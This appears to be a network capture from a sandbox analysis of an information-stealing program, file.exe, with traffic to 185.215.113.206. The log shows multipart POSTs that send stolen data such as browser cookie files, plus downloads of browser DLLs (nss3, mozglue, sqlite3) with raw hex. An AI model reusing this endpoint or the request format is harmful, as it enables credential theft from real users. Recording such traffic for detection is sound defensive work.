Nov 17, 2024 01:38:16.133203030 CET	6759	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 Data Ascii: ------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 17, 2024 01:38:16.937401056 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 01:38:16.938158989 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 01:38:17.790106058 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49842	185.215.113.206	80	6252	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 01:38:33.625137091 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHJEBKJEGHJKECAAKJK Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------BGHJEBKJEGHJKECAAKJK--
Nov 17, 2024 01:38:35.044976950 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 01:38:35.209829092 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKKFCFIIJJKKFHIEHJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="file"------BKKKFCFIIJJKKFHIEHJK--
Nov 17, 2024 01:38:35.980645895 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49911	185.215.113.206	80	6252	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 01:38:42.018858910 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFCFHJDBKKFHIEHIDG Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 01:38:42.018932104 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 Data Ascii: ------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 17, 2024 01:38:43.427680969 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 01:38:43.753747940 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFIJKFHIJKKEBGCFBFH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="file"------CAFIJKFHIJKKEBGCFBFH--
Nov 17, 2024 01:38:44.529176950 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 01:38:45.203957081 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 01:38:45.484503031 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 17, 2024 01:38:45.484581947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 17, 2024 01:38:45.484595060 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 17, 2024 01:38:45.484606981 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 17, 2024 01:38:45.484617949 CET	448	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 17, 2024 01:38:45.484633923 CET	1236	IN	Data Raw: c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff Data Ascii: %tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@H
Nov 17, 2024 01:38:45.484648943 CET	1236	IN	Data Raw: 53 ff 75 08 57 e8 97 f7 07 00 83 c4 0c 0f b6 8d f0 fe ff ff 8b b5 ec fe ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f Data Ascii: SuWT>\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]
Nov 17, 2024 01:38:45.484661102 CET	1236	IN	Data Raw: f7 17 66 0f 6f 1d e0 20 08 10 66 0f fe fb f3 0f 5b ff 66 0f 70 e6 f5 66 0f f4 f7 66 0f 70 ef f5 66 0f f4 ec 66 0f 6f e0 66 0f fe 25 d0 20 08 10 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f Data Ascii: fo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`
Nov 17, 2024 01:38:45.484685898 CET	1236	IN	Data Raw: b6 d2 89 55 ec 89 4d c8 31 c9 8a 5d e8 8b 55 e0 89 7d e4 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 89 4d e8 8b 0c 0f 89 4d d4 89 ce 89 c1 d3 e6 09 d6 89 75 e0 8b 45 e8 8b 4d ec 01 c8 83 c0 01 0f b6 c0 8b 4d f0 0f b6 0c 01 00 cb 0f b6 f3 8b 55 f0 0f Data Ascii: UM1]U}f.MMuEMMU2}E0MEEMLEE0}M1MMEUU}47}4E0UMU
Nov 17, 2024 01:38:45.484695911 CET	848	IN	Data Raw: a8 0f ac d6 10 89 75 88 8b 55 ec 01 f2 89 55 ec 8b 75 e0 11 c6 89 75 e0 31 f1 89 f8 31 d0 89 ca 0f a4 c2 01 89 55 ac 0f a4 c8 01 89 85 48 ff ff ff 8b b5 74 ff ff ff 8b 46 30 89 85 30 ff ff ff 8b 8d dc fe ff ff 8b 51 18 89 95 b8 fe ff ff 01 c2 8b Data Ascii: uUUuu11UHtF00Qv4,AA8UA<}5[dy!~6_U:O31\tS8ES<]\E
Nov 17, 2024 01:38:48.588073015 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 01:38:48.882226944 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 17, 2024 01:38:50.509190083 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 01:38:50.790524006 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 17, 2024 01:38:51.530225992 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 01:38:51.811352015 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 17, 2024 01:38:53.658514977 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 01:38:53.939330101 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 17, 2024 01:38:54.281064034 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
